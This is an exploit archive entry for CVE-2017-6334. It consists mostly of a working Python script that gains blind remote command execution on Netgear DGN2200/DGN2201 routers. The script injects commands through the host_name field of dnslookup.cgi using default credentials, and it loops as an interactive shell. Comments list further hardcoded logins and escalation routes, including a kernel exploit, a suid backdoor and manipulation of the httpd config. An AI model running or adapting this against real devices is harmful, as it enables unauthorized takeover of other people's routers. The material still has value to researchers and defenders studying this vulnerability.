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Netgear DGN2201 v1/v2/v3/v4 dnslookup.cgi Remote Command Execution

Netgear DGN2201 v1/v2/v3/v4 dnslookup.cgi Remote Command Execution
Posted Feb 26, 2017
Authored by SivertPL

Netgear DGN2200 versions 1, 2, 3, and 4 suffer from a non-administrative authenticated remote command execution vulnerability via dnslookup.cgi.

tags | exploit, remote, cgi
advisories | CVE-2017-6334
MD5 | e9720dafd68191f8ed319602cf186f95

Netgear DGN2201 v1/v2/v3/v4 dnslookup.cgi Remote Command Execution

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#!/usr/bin/python

#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
password = 'password'

def main():
if len(sys.argv) < 2:
print "./netgearpwn_2.py <router ip>"
return
spawnShell()

def execute(cmd): #Escaping basic sanitization
requests.post("http://" + sys.argv[1] + "/dnslookup.cgi", data={'host_name':"www.google.com; " + cmd, 'lookup': "Lookup"}, auth=(login, password))
return

def spawnShell():
print "Dropping a shell-like environment (blind OS injection)"
print "To test it type 'reboot'"
while True:
cmd = raw_input("[blind $] ")
execute(cmd)

if __name__ == "__main__":
main()

#2017-02-25 by SivertPL
#Tak, to ja.

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